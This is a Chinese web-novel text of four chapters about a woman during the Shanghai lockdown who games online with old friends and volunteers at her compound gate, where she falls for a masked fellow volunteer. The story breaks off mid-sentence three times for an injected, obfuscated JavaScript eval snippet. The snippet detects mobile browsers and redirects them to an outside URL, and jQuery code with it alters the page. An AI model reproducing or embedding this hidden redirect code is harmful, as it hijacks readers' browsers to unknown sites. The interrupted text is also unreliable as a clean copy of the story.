《看不见脸的情人》 1. 春夜啤酒会议 季节对着手机大声说:“等我一会儿,我去启瓶啤酒。” 视频会议里传来嘈杂声响,成员们处于准备阶段,即将各就各位。瓶子温和的音色传出来说:“你去吧,来得及。” 手机上的游戏加载完毕,老D,老凤,瓶子和老盆都已经在线上。在这个狐朋狗友的群聊里,男同学一律叫老字辈,季节和瓶子身为女性,却因彼此太熟而得到了“有时忘了你们是女的”这类评价。 几天前,老盆把群聊名给改了,先改成王者荣耀专项沟通群,随后大家反映这名字看着有点恶心,让人想到白天上班时的种种,于是他从善如流,又改成王者荣耀升星俱乐部。 同时,老D在腾讯会议里创建了固定的会议室,每晚八点自动提醒各位准时入会。季节维持秩序,完善流程,把会议链接设为群公告。 有时工作日的下午,大家突然无事可做,也会进来玩两把,比如现在。季节从冰箱拿出一瓶啤酒启开,凉风如烟雾般曲折腾起。虽然这是家里最后一瓶啤酒,但她还是手起盖落,决心今朝一醉。 回到卧室,端坐在手机前,手机固定在和眼睛平齐的支架上,营造职业电竞环境,会议与游戏双开。大家看着游戏界面,在会议室里聊天,保证通话质量及连续性。 游戏开始,季节总是单枪匹马出去送死,瞄准敌人也有点费劲。老D说:“幸亏这个游戏的设定是不会打死队友,季节净往我身上打。” 从大学时代算起,这是几个狐朋狗友集体打游戏的首度尝试。三月底封城之后,居民除核酸检测外不得出楼,工作日一律居家办公,省去了通勤时间,夜晚变得格外漫长。 市场萧条的时代洪流下,投资经理老D没有项目可做,在群里说:“能玩点啥呢,有啥游戏是多个人玩的?” 季节在事务所干了三年税务咨询,现已提出辞职,目前处于离职前的最后二十天。春季是整个行业的忙季,而她可能是整个忙季中最闲的一个人,不用像往年一样加班到凌晨,偶尔和老D一样无所事事。她第一个回答老D:“王者荣耀。” 其实这时候季节还没玩过王者荣耀,不知道这游戏的确恰好五人组队,还以为多少人都可以一起上。这一提议令老D刮目相看,于是从那天起,几人登陆游戏,开启了费劲的升星之旅。 打完一局,老D提议中场休息五分钟。季节从前线退下来,卸下手机,去阳台上站着,一边喝啤酒一边吹风。在世纪大道,三街坊的夜晚或许迎来整个世纪中最安静的春季。季节住在临街的一号楼,位于小区最边角。 她独自租住顶楼的一室户,面积三十平。由于此处地理位置优越,西邻陆家嘴,东临世纪大道,因此租金十分高昂。这是一片七十年代建成的老房子,下雨天阳台会漏水,还好房屋中介送了两个垃圾桶,可以完美地接住所有漏水点。 阳台面向正南方,窗下是一条小马路,西侧是一条与之垂直的大马路。老旧的一号楼位于道路交汇之处,遥望繁华的世纪大道。辽阔夜色中,没有往日的人影和飞车,只有路灯散发出冷如水色的光芒。不远处,世纪大道的霓虹灯光仍在流动不已,尽管大厦中空无一人。 瓶子和老盆这对情侣住在与三街坊相隔一条小马路的六街坊,这两人一个瓶,一个盆,打游戏的头像也用情侣款。老D跟他们合租一套两室户,三人相亲相爱地生活在一起。他们那片房子比季节的新一些,约八十年代建成。 这三人租住的房子也临街,一辆车驶过楼下这条单行小马路时,先经过季节的楼下,引起楼的震动,再经过老D、瓶子和老盆的楼下,引起另一阵震动。 很快第二轮开局,老凤开口了:“我每天都在刷外卖,你们懂吗,刷外卖。” 季节说:“我当然懂了,外卖软件上就没几家店开着,还都是快闪店,一会儿开一会儿关。我两秒钟点完结账,显示失败,店关了。你要是中午十二点想吃饭,那你早上九点开始就得不停地试。” 即使隔着屏幕,季节也能感受到老凤的热泪盈眶。他说:“老外卖人了。” 老凤和季节都在事务所就职,职业性质直接导致两人平常都不开火,没有锅碗瓢盆,冰箱缺少存货,得知封城的那天当场傻眼。 瓶子跑向了敌方,一边释放出绚烂的大招,一边问:“季节今天吃什么了?” 季节说:“今天吃了昨天的剩菜,昨天刷到一家外卖能订,一次订了两天的量。” 瓶子又问:“那你明天有吃的吗?” 季节说:“有,因为昨天订的菜昨天一点没吃,昨天吃的是大前天订的。” “……” 传出封城的消息,是在一个动荡不安的晚上。瓶子在王者荣耀升星俱乐部里说,听说我们小区不让出了,你们三街坊估计也一样,要是明天能出得去,我们给你送点菜和大米。 季节感动地说,你们留着吃吧,不知封几天,再说我这没有锅,做不了。 瓶子说,再顺便给你送一口小锅。 然而第二天一早,小区就拉起了封锁线,居民原则上不能出楼。虽然可以下楼扔垃圾,但必须走最短路径,不得在外界停留。 楼栋里建了群聊,一梯四户,六层楼共二十四户。四楼大爷受组织上的委托,挨家挨户张罗,左邻右舍都把头伸到走廊里,季节才看清他们的脸。 感染病毒的人数每日攀升,人心惶惶。全城静默后,产业停摆,只有几家生鲜网店获准继续经营,“抢菜”一词横空出世。 几家网店每天早上开放订购,瞬间订单爆满,达到运输能力上限,绝大多数人抢不上单。有的人为此练习无影手,有的人用筋膜枪击打大拇指,企图能成为最先点中下单按钮的那一批人。 季节每天吃了上顿没下顿,对饥饿的恐惧令人刻骨铭心,但这种恐惧又会在每次订到外卖后有所缓解。 因为病毒来势凶猛,解封的时间顺延几次,最后遥遥无期。不久,季节发现三街坊中出现了一支志愿者队伍,负责把外卖和快递送到楼门口。 有一天风雨交加,一个志愿者拖着板车在楼与楼之间穿行,把货物放在楼门前,为了不让快递盒被水打湿,在雨声中仰头嘶吼:“三楼快递到了。” 那一刻,季节觉得内心凄凉,无法安坐,在楼栋群里问:请问一下怎么才能加入志愿者? 104大哥懂行地说,好像直接去大门口说自己想当,就可以了。 季节当时就去了,单刀直入,毛遂自荐。小区里有好几条里弄,门口的志愿者问清她是住在991弄一号楼,就把她拉进一个群聊:三街坊991派送联络群。从这天起,她就是晚班志愿者了。 前两局游戏毫无意外地输了,但大家还是喜气洋洋地开了第三轮。老D在会议里频频发表意见,说老凤选的射手和敌方的一模一样,俩一模一样的射手还面面相觑地站着对狙,非常猥琐。 老凤让他闭嘴,老D又转而问:“季总,今天没去当班啊?” 季节说:“我选的是每天下午五点到八点的班,还没到时间。” 瓶子嘱咐道:“千万戴好口罩,你们这是直面病毒第一线。” 季节满口答应道:“行,我们有小蓝色长袖围裙,一次性的。我还把头发起来,减少和病毒的接触面积。” 老D惊奇地说:“季总竟然梳头了,我记得季总家里没梳子,都是用五个手指头。” 季节高傲地说:“我这不是要去见那个人吗,跟平时见你们能一样吗。” “你都不知道人家下半张脸长啥样。”老D好心好意提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718035|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒道,“当心有诈。” “有没有什么办法,能看到他的全脸?”季节向几人征集意见。 瓶子建议道:“不小心摔在他身上,薅下他的口罩?” 这时,会议里传来老凤如梦初醒的声音:“季总去当志愿者了?” 老盆:“志愿者?” 三轮游戏输完,季节说:“好了,我要准备出门了。” 五点,晚霞西去,季节在傍晚时出门,拎着一兜垃圾去大门口当班,一眼在人群里看见“那个人”瘦高的身影。 封城以来,人们出门永远戴着口罩,彼此真容难辨,早已忘记晚风拂面的感觉。还有人恨不得在家睡觉都戴口罩,并捏紧鼻梁处。 即使看不见脸,季节也能远远认出“那个人”。他比所有人都高出一头,戴着白色棒球帽和蓝色口罩,长长的小蓝衣穿在他身上刚到膝盖。 季节扔了垃圾,回到大门口,顺手从纸箱里拿了小蓝衣和橡胶手套,自然而然地走到他身边。 她仰起头看他时,他也正好低头看向她。 季节嘿嘿一笑,口罩上方露出的两个大圆眼睛此时微微变弯,黑眼仁中光华流溢,倒映出三街坊门口的高大货架。 “那个人”隔着大门接过快递员手里的大件,轻松地说:“你来了?” 季节说:“来了!出来之前刚把一个ppt做完扔出去。”再之前在利用工作时间打游戏,但这不能说。 说话之间,她已经穿上小蓝衣,款式和做菜穿的长袖围裙差不多,在后脖颈和后腰处系带。 接着戴好手套,拿起装满消毒水的喷水壶,加了两下压,对着货架上的快递和外卖均匀扫射,从容不迫,眼里有活。 两个外卖员手提外卖,争相抵达991弄的货架,季节临危不乱,依次接过外卖,检查上面是否用大号字体手写了代码。 一个人写了,991-1-604,十分自信,外卖离手后几乎转身瞬间就翻身上摩托,风驰电掣地离开。 另一个人没写,季节叫住他确认:“哥,是991弄6号楼402吗?” 对方已经跨上坐骑,以神龙摆尾的形式走蛇行路线疾驰而去,风里留下一道回声:“对。”声音隔着口罩传来,余音十分沉闷。 季节节省地撕下一块纸条,用中性笔写上代码,991-6-402,贴到外卖上。又在充当登记表的大白纸上找到991弄那一列,记了两条:991-1-604,991-6-402。两个代码落在纸面,代表着收盘成功,不久将由送货的志愿者送到对应的楼门口。 特殊岁月,人们不再拥有姓名,化身为一串号码,例如季节本人就是991-1-602,言简意赅,一看即懂,心照不宣。 登记完成,而后消毒。季节拿起水壶,喷射这两个外卖的每一个侧面。新来的一般被喷得比较彻底,在货架上摆好后,每隔二十分钟被重新批量扫射一次。 991的货架已经堆了不少大包小裹,季节跟“那个人”说:“我看差不多了,我先送一趟,这儿交给你了。”说着就伸手去够货架最顶层的大包。 “那个人”轻声笑了,抬手轻而易举地越过她,将那个重达四十斤的大包搬下来,放到一辆小板车上,若无其事地问:“帮你搬这么沉的包,给劳务费吗?” 季节指挥他:“你再搬起来一下。”他果然又把四十斤大包拎起来,探寻地看向季节。季节举起手机,笑嘻嘻地对准他拍了一张,然后说:“不给。” 说完,季节一手拖车,一手拿着手机看小区地图,迈着大步潇洒上路。忽然听见他在背后优哉游哉说:“你已经出师了。” 在初春的晚风里,在夜色的前奏和啤酒泡沫的尾声中,季节回头一笑:“那你还带我吗?” 2. 我在傍晚时出门 几天前,季节在一个下雨的傍晚擅自出楼,径直走到大门口,对那几个志愿者说她要入伙,于是被当场留下干活。 当时天色擦黑,大门口混乱嘈杂,原本可以走车的宽阔出入口被一条封带拦截。封带之后,五个货架一字排开,西侧是991弄、138弄和160弄的,东侧是130弄和1025弄的。三街坊幅员辽阔,围墙内一共分为这五条里弄。货架之后,又是几个棚子一字排开,四脚着地,举架高挑,每个有三米乘三米见方,边缘能顺便遮挡货架。 有的里弄人口更多,货架已经堆积如山,放不下的包裹在地上排一竖行,绵延到很远的地方。正门两侧,六层老楼无穷无尽,在夜幕中沉静不语,像一些巨大的影子将他们环绕,俯视,如同故事的旁观者。后来,每个窗口都透出灯光。 东侧的小姑娘高兴地替季节系上蓝色防护围裙,又递给她蓝色手套,最后发现她是去支援西侧的。 季节被指认为西侧991弄志愿者,前一班的小姑娘把几张被雨浸湿的登记纸留给她,又指着地上堆积如山的快递说这是还没送的,然后光速离去。 快递员和外卖员远道而来,络绎不绝,来了以后猫腰从封带底下钻进来,隔着货架把包裹交给志愿者登记。也有的送货人时间紧迫,来去无影,只能看见货架上多了一个包。 有一位上晚班的大姐稳坐一旁,面无表情,说话淡漠,既忙着接待138和160的物件,又腾出手来带季节。季节冷眼旁观,觉得她侠骨柔情。比如其他志愿者捧着不明快递问季节时,大姐在旁边仗义执言:“这个下午来的,不知道谁家的,是下午的志愿者没做好交接。”或冲口而出:“刚才那个送货的老头放下就走了,没写清楚地址。” 大姐手把手传授,指令清晰,只捞干的,不说废话,教学风格高效实用。起先她不说复杂概念,只告诉季节每个包裹必须让送货师傅用大号字体写明几弄几号楼几零几,然后将这串数字记在大白纸上,即可。季节很快就能独立作业,感觉新奇而妙不可言,在公司里做项目时如果有人这么带,也不会磕磕绊绊、犯下不少错误,最后竟要提桶跑路。 季节入门后,大姐便层层深入,对着大白纸强化指点:“这一批送出去了,在代码下面画一条线,表示线以上的都在派送中。把线以上的拍下来,发到各个弄的群里,群里的联络人会转给自己楼栋的群。收快递的人就知道自己的快递要送到楼下了,就可以下去拿了。” 季节信服地说:“恩恩,好的,姐。” “派送的人出发之前,给他写张小纸条,把板车上所有的货号都写上,他拿在手里看着方便,就知道该去哪些楼了……” “哎呦我去。”季节惊呼道,“姐,你真聪明。” 当晚人手充足,季节只负责在大门口登记和消毒,俗称“门口的”。派送任务另有其他志愿者负责,一共四五个,都是青年男性,俗称“派送的”,看见哪个弄的大包小裹攒了一堆了,就拖着板车过来,装载,出发。 一个大爷跑来跑去,来回俯冲,一会儿将一个探照灯悬挂于棚子内部骨架上,一会儿大声维持现场秩序,举起双臂呈调度状,做事风格躁动不安。 N95口罩的边缘深陷于他的皮肤,也深陷于其他一些人的皮肤,但没人在意这些深红色的勒痕。 每个人都严密地蒙面,有人戴了两个蓝色医用口罩,有人口罩外面叠加透明塑料面罩,有人不知从哪弄来手术帽子戴在头上。 还有一个瘦高个的哥们,拖着车沉闷地走来走去,听说他是队长。队长由于在封城前未能及时剪头,头发已经长成花泽类的发型,刘海挡着眼睛,平添了几分阴郁气质。 季节认出来他就是那天在雨中仰头嘶喊的送货者,又听大姐说他每天从早八点一直干到晚八点,别人是三班倒,他一个人倒三班,立刻对他肃然起敬,认为队长头衔实至名归。 大风大雨里,快递员和外卖员来去蹁跹,赶到货架后,匆匆在包裹上写好号码,交给季节后立即离去奔赴下一家。有的外卖员的中性笔已经用完,由季节统筹调配资源,冲到另一个外卖员那里借来一支笔递给他,用完再迅速还回去。 每件包裹都是湿透的。快递盒上的手写号码正在晕染开来,外卖袋上用订书机订着小票,上面的字迹早已模糊不清。季节费力地辨别,像做司法鉴定。快递面单上一般能找到原地址的小字,可以与手写号码两相对比。而外卖小票为保护消费者隐私,一律印虚拟地址,只能极力揣摩手写字体。 还有的外卖小票被水泡烂,遗失不见,只能失物招领。季节拍下照片发到大群里,由群里的热心志愿者层层转发至各楼栋群,简直像工作中转发关于某某的文,转发套着转发。 晚上八点,志愿者们把没用完的白纸和油笔留在架子上,用石头压住。装消毒水的喷壶和探照灯都被躁动大爷收走了,板车也被队长送至小区内的居委办公室保管。 志愿者们纷纷脱下小蓝衣和手套扔进垃圾桶,用酒精搓着双手。架子上放着几个零星的包裹,快递师傅还在源源不断地前来摆上新的,这些将全都留给明天上早班的人。现在是志愿者的下班时间,一切派送都停止了。 也有些居民悄悄从楼里跑出来,自己到门口货架上拿起外卖,无声无息地快步回家,如同一个影子。 季节脱下围裙和手套时,已经满手是汗,头发散乱,好像刚和人干完架。第一次当班,就这样打仗似的结束了。 991的货架又来了两个箱子和一个袋子。大姐对着不远处吆喝一声:“你,过来,把这两个抬起来。” 从阴影处走出一个大哥,听话地搬起两个箱子,简直像她的暗卫。季节完全没看清他是从哪里冒出来的。 大哥嘴里嗫嚅着说,要不留着明早再送。原来是两口子一起出来当志愿者。大姐自己也拎起一个袋子,厉声呵斥她老公,叫他快点,别废话,回家路上顺便送了,搞得季节十分佩服她。 一号楼位于小区最外围,从大门口向西走回去,只有几步路途。季节缓步前行,抬头看着两侧的楼,搬来快一年了,其实从未认识这里。 这片六层老楼近几年做过美丽家园工程,一律刷成红色屋顶和橘色墙体,窗口伸出许多晾衣杆,外形凌乱,管道老化,没人碰都直掉渣。楼群横纵延伸,一直到远处看不见的地方。三街坊的城墙之内,王国如此辽阔。 第二天傍晚,季节走到大门口,全副武装,凝视一方天地,内心从容不迫,按照大姐教的流程,有条不紊地进行作业,另外也融入自己的领悟和创新。 991的快递爆满,货架上已经放不下,包裹堆了一地。季节拿着上一班志愿者留下来的记录,跟地上的包裹逐一核对,又拿喷壶喷了一遍,直起腰想找个“派送的”走一趟。 烽火连月,有人竟点到了几杯奶茶。也许是地下黑市,单线交易。总之志愿者们把奶茶晾到一边,在居民群里通知本人自己来拿。 良久,有人偷偷摸摸来领取,一道凉凉的声音调侃道:“你再不来,我们就把它分了。”那声音笃定、舒朗,游刃有余,让季节抬头看了一眼。 一片蓝衣中,有个瘦高个子的男生,戴着白色棒球帽和蓝色口罩。在三街坊混乱的夜色下,他看起来像一位从容的年轻的领袖,说话时中气十足,声音能清晰地传到很远的地方,带有淡淡的北方腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718036|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调,给人一种打游戏能打到王者的感觉。 季节默默注视着王者小伙,他身体周围似乎有一层清澈的、威严的风在流动着,仿佛整个春季的夜晚不过是为了上映这一刻。 1025弄已经快递淤积,“门口的”还在从快递员手里接收更多包裹,应接不暇。王者小伙拖着板车走过去:“我送一趟,1025的搬上来吧。路上能经过160外侧,160的楼号大的也给我几个。” 他的声音醇厚而微凉,低沉却清透,是明亮的、金色的,像春寒料峭时的冰块在河水里碰撞。季节又看了他一眼,发现他帽子和口罩之间露出的那一节面孔白皙俊美,剑眉星目。眉骨和鼻梁很高,宛若雕刻。 季节心想,这小白脸,不知道摘了口罩什么样?然后继续埋头忙活,顺手帮1025弄的快递也喷了一遍消毒水。 也许是为和身高相得益彰,王者小伙拖的是那辆中号板车,有两个小板车大。他已经三下两下把1025那一堆破烂物品搬上车,又从160的“门口的”手里接过几件顺路货,迈着长腿准备出发。 走之前,他对其他几个志愿者说:“可以再去居委拿点消毒粉,交给门卫帮忙灌到水壶里。”又说:“大群里的通知,要转到各个弄的群里,让他们传下去。” 交待完这些指示以后,他单手拉着板车绝尘而去,悠闲得好像去遛弯一样。 季节低下头,把大白纸上登记的代码拍下来发到991的群里,声明即将派送,然后拦住一个戴眼镜的板车男:“哥们,你这会儿空吗?能不能帮送一下991的?我走不开。” 处理完手头的工作,又找身边几个志愿者轮流聊天。不同于昨日的青涩,季节已经混得如鱼得水,风生水起。封城以来终于能见到活人,还能走来走去,令季节情绪异常激动。 她的脑海里,还久久回旋那个王者小伙的声音和样貌。后来同时有多个快递师傅抵达门口,带来了一阵快递雨,季节应接不暇,就暂时把他忘了。 眼前突然变亮了。银白色的光从头顶倾泻而下,像一道帘子隔开了夜色。 季节这才发现,天黑以后,她几乎趴在齐胸高的那一层货架上登记号码,鼻尖都快要隔着口罩碰到大白纸。她直起身来看向头顶,一盏户外头灯被挂到货架顶端的钩子上,一只大手正在调整灯的位置。 橡胶手套戴在季节手上处处留空,布满窝囊的褶皱,每个指尖都空了一截。而同样的手套戴在这只手上,则十分熨帖,显露出长而有力的骨节轮廓。 近在咫尺,季节转头看向他,发现自己一米六八的个头只到他肩膀,要仰头才能看他的眼睛。那双眼睛微微上扬,双眼皮折痕很深,睫毛又密又长。 她心头一动,晕晕乎乎地想:原来是王者小伙在给我掌灯。一句歌词忽然跳进了季节的心里,每一次你仰起慌张的脸,看云起云落变迁。 而他低头看了一眼季节,微微停顿了一下,露出的那一节脸在灯光和月色中显得非常皎洁。 季节冲他微微一笑,一下把口罩笑上去了,使得边缘戳入眼中,刺得眼仁剧烈疼痛,她急忙把口罩抻回来,按照规范捏紧鼻梁处,随即又想起来手套不应该碰脸,这是违反规范的。 临时找来的口罩比她的脸大了几圈,四处漏风,后来季节直到结束都没被感染,只是单纯地因为命硬。 王者小伙看着她的眼睛。曾经有人说季节的眉毛虽然清淡,但她的那双眼睛美丽闪亮,让人见之不忘。现在,她的心却突然开始踟蹰,她想知道他会记住她的眼睛吗? 接着,季节抛出了两人之间的第一句对白:“能不能替我看一下门口,我后背有点痒,要去挠挠。” 3. 浪花飞溅 季节摘下手套,给双手消了毒,在一处远离人群的门洞里伸手摸索后脖颈,原来是小蓝衣的系带里绕进去一根头发,戳得皮肤很刺挠。 问题解决后,季节又从裤兜里掏出一瓶矿泉水,仰头猛灌几口。志愿者当班时一般不能喝水,摘掉口罩意味着绝对的危险。 回到大门口时,王者小伙正在往大白纸上记录代码,季节看他这“门口的”干得挺好,就没有再去替换他。货架上逐渐稀疏,991有三个箱子和一个外卖袋,季节顺手搬起来,跟他说了一声:“我现在送,可以通报了。”就要拔腿去四处派送。 他放下笔,认真地看着季节,低声问道:“现在没有板车,你走着去吗?” 季节克制着跃跃欲试的兴奋之情,说:“我去。” 早在昨天,季节就想试试当一把“派送的”,只是女志愿者一般负责门口,男志愿者一般负责拖车。后来有几个女生一起拖着板车去送货,季节也跟着去了。当时一个女生拖车,其余人围绕在板车周围,像镖局护送着贵重物品,恨不得纷纷伸手用内力隔空扶持着堆积如山的大包小裹。她们走到三街坊最北边的边界,一群人呼呼啦啦的,季节什么也没记住,就是跟着走。 而现在,在这静谧的夜晚,季节终于要自己去送货。大门旁的草丛里立着一幅小区地图,季节站在图前仔细研究一番,大致记住要找的几个楼的位置,在楼与楼之间迂回穿行。 天黑以后,路更加难找,多兜了好几圈,一直在小区里蛇形奔走。季节想起有一次打游戏的开场、五个人一起向前跑去,老D评价老盆:盆总这个跑的路线都是S形的,太会了。 季节回来时,已经是晚八点二十分,大门口归为沉寂,三街坊终于进入夜晚。志愿者的蓝色海洋已经无影无踪,恰如浪潮退去,脱下的小蓝衣和橡胶手套都在垃圾桶里。只有一个人的背影站在回旋的风中。 他已经脱了防护装置,穿着白色T恤和黑色长裤,正低头用喷壶往自己手上喷消毒水。见季节回来了,他举一举手里的喷壶问:“要帮你消吗?” 季节这才知道原来还有这么一个环节,于是欣然接受了。 他一手持壶,低声指点:“先把小蓝衣和手套脱下来。” 季节得到点拨,三下五除二脱卸装备,扔进垃圾桶时注意下手轻柔,垃圾桶都冒尖了,也不得按压。否则按下后鼓出的气流会携带病毒气溶胶,随风腾起,直冲门面,继而扩散开去。这都是志愿者群里转发的防疫知识。 晚风穿身而过。今年春天比往年更早回暖,季节穿了一件蓝色半袖,上面有三个熊,长得像猪一样,还有一条起球的卫裤,有点吊腿,露出脚踝,裤兜上有两个傻冒松鼠。 “手,伸出来。”跟季节说话时,这人音量放得更低,尾音轻快,不似对其他人挥斥方遒。 季节配合地伸出两只手。 “闭眼睛。”声音更轻了。 季节双目紧闭,面部肌肉紧张,生怕消毒水喷进眼睛。一道清凉水流自空中疾驰而来,浪花落于手上,碎屑飞溅,继而水龙游移,洒向全身。 喷到胳膊和前身时,季节睁开眼睛问:“请问咱们在哪看排班表呀?” 他说:“有个大群,每晚会发排班表,你在里边吗?” 季节心想大概就是991的群,顿时豁然开朗:“我在,谢谢啊!” “转身。” 季节转过身,带着药味的水洒向她单薄修长的背影。他把壶举远了一些,像是怕水流会打动她一样。 喷完一轮,季节道了谢就想抬腿走人,突然又想起应该客套一句:“用不用也帮你喷?” 他真的把喷壶交给季节,转了个身,指指自己后背:“帮我把全身都喷一遍,鞋也要。” 季节单手开弓,抽拉几下打压杆,给壶加足气压,把头伸到他侧面认真地问:“喷到你衣服上也可以吗?” “当然可以。” 季节从他后脖颈开始均匀喷射,水流落在坚硬宽阔的肩膀上,随后是结实优美的手臂,继而是后背和腿。他自动转了个身,季节按相同顺序又来一遍,一上来先不小心喷到他口罩上。 季节始料未及,轻轻噢了一声,急忙点头哈腰:“对不起!”他隔着口罩不易察觉地笑了一下,轻轻说了一句没事。 喷壶用完,被季节藏进草丛。门口的灯盏已经被收走,但他眼睛幽深处仍有亮光。季节道别后转身离去,拎着水瓶子大步流星回到一号楼。他似乎还在身后,站了片刻,直到她的背影消失。 晚上打游戏开局后,季节每次被打死以后都退出来看看991的群,群里无人发布排班表,搞得季节很焦虑。 后来想,明晚直接过去,趁乱混入其中,应该问题不大。不知道那个人明天还去不去,季节突然有点后反劲,想要了解他。 她点开991群成员名单,观察名字和头像,挨个琢磨推敲,哪个都不像。有的人用渣男漫画头像,还有的群昵称就叫“志愿者”,十分直接粗暴。 多数人和季节一样,群昵称是“991-1-602-季节”这类代号,而原名五花八门,头像中规中矩,身世难以辨别。 “咬哥咬哥。”老盆在那边喊,“你复活了。” 季节切回游戏界面,发现自己的程咬金角色已经复活,正傻呆呆地站在原地,急忙驱动按钮,飞奔到前线,投身于战斗之中。 老盆批评老凤的选角不得体,老凤身高一米七八,体重二百多斤,在游戏里拿的是蔡文姬,一个幼年小女孩角色。老D认为老盆平时在工作中就是这么训斥手下的。 季节驱使程咬金,轮着两个斧子,类属于肌肉猛男形象。季节一边抡一边说,今天当班时候听见个新闻,有个邻居养的狗跑了,他在后边追得唾沫横飞,拖鞋都要跑掉了。 志愿者以为他要冲出重围、翻墙逃向自由,于是在后面大呼小叫进行追击,差点要把他压制在栅栏上,最后发现脚边有只倔强的柴犬,误会得以解除。 末了,季节羡慕而惆怅地地说:“不知道他是不是囤了不少狗粮,要是这会儿吃不上饭,还能吃狗的东西。” 老凤则说:“不如封在学校,顿顿有三块二的红烧肉。”当年食堂里的红烧肉二寸见方,是老凤的白月光,一顿吃十块则是他的看家本领。 老D十分怀念过去那段流金岁月,说如果大家还住一个宿舍楼,他将会像上学时一样,亲自组织大家在寝室夜谈,所有人共同预判社会走向,还能面对面打游戏。季节喝着啤酒纠正道,但你们是男寝楼,我和瓶子进不去。 啤酒还是上个月瓶子和老盆来家里吃饭时拎来的,他们一进屋就一言不发地开柜子开门,手脚迅捷,穿梭忙碌,把几瓶啤酒放进冰箱,把一兜卤鸡腿放进橱柜,全程就像默片一样流畅而自觉。站在此刻回想,那时物质丰富,恍若隔世。 眼看着游戏刚开场没多久就要输,季节还不停地冲出去送死,老D动容地说:“不行,全体都有,一起回家吧。家是大后方,是水晶的所在地。水晶还在,我们就不算输。” 老凤阴阳怪气地说:“家有什么好回的。”说着,他随心所欲地走进敌人的包围之间。 瓶子和老盆也来到他身边挨打,很快,这局就顺利地输了。 老D问道:“咬金哥啥时候lastday?” “快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718037|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,再有两周多。”季节苦笑道,“但我昨晚还在接同事的电话,让我加班做个税审底稿,没办法,事务所就这样。” 老D又问:“瓶子每天在家闲着?剑网3打到哪一关了?” 瓶子发愁地说:“我们这活必须得在实验室里干,现在不上班算欠着工时,之后要加班补回来的,还不知得补到什么时候才能补完。”瓶子是药企的实验员,每天摇玻璃瓶,因此得名。 在保险公司做业务推动的老盆说:“我在家从早到晚开视频会,忙得没空做饭,他们两个也不做,都等着我。” 季节赞叹道:“要不说,还得是老盆的工作好,挣得盆满钵满。”老D就爱听这话,立刻大喜过望,连声附和,让老盆抓紧请客。 今晚的游戏接近尾声,按照惯例,瓶子问道:“咬金哥你现在还能刷到外卖?” 季节叹口气说:“能是能,就是难度比较大,还是得想办法买个小锅,看看明天哪家超市能快闪吧,听说这几天就要发物资了。” 老盆立刻问:“什么物资,花钱么?咬金哥你在前线那边,应该能打探点消息。” 季节如实答道:“政府发的,不花钱,估计有菜和挂面之类的,应该能维持基本生活。” 这座城市里一定有千千万万个抢不上菜的人,他们有的像季节和老凤这样整天不停刷新外卖软件,蹲守快闪饭馆和超市。有的苦苦翻找出一些小型供货商的网站,下单成功,而后发现久久不能发货。有的成为团长,动用人脉手段寻找供应商,组织邻居成团,从地下市场买吃的。 一号楼的楼长是104大哥,他当之无愧,被封第二天就组织楼里邻居团购。货源不知是从哪里联系上的,品类是蔬菜和肉,固定组合,不让挑选。楼里住户几乎都报名订购,只有季节这种没锅的未能参与。 当晚,104去三街坊门口接应,果然带回来一批物资,堆在一楼。据说运来的是一整车散货,104亲自分拣打包的。104手持名单,与下楼领货的人一一核对,同时不忘叮嘱大家勿要一起下楼,以防传播病毒。 一号楼的邻居都对104赞不绝口,夸他有本事,又细致认真。104苦涩地说,没办法,我家人口太多了,得想办法找吃的。 季节心想,104的确是个有担当的好人,下次可能恨不得直接把菜洗好切好送过来? 这城市的一切都停止了,但在不易察觉的缝隙和褶皱中,仍然有齿轮在转动。季节站在阳台上,俯视相交的街道,街上空无一人。 只有远处大厦的灯光还在闪烁,变换出不同的俗气花样。两条街的夹道树木正在抽芽,不久以后,将是一片苍翠之海。 第二天,季节得偿所愿,真的在外卖软件上蹲到一家稍纵即逝的超市,下单了一个小电煮锅,一板鸡蛋,一包挂面,两筒薯片。 下单成功后,季节在家里做税审底稿,提心吊胆,唯恐这一单突然被关闭作废。 后来991志愿者群的派送信息显示确实有季节的包裹,季节大喜过望,去王者荣耀升星俱乐部里宣布,我有锅了。 去楼下拿到包裹,季节松了口气。已经是下午四点,她想起还不知道今晚的排班里有没有自己,又开始坐立不安。 那个人清俊的轮廓在眼前浮现,久久盘旋不去。 后来窗外下起了大雨,雨水打在屋檐上鸣响不已,音调激昂,如同千军万马过境。季节听着雨声吃面条时,手机振动两下,991志愿者群里有人问: 谁能临时过来当班?缺门口的和派送的。 大雨倾盆,季节推测是原本安排的当班人不想过来了,于是当即捡漏,在群里说:我可以。 4. 雨夜花 季节戴好口罩,换了一身扛造的衣服和鞋,打着直柄雨伞,一出楼就被风刮了一脸水。雨水俯冲向大地,击打着一切。 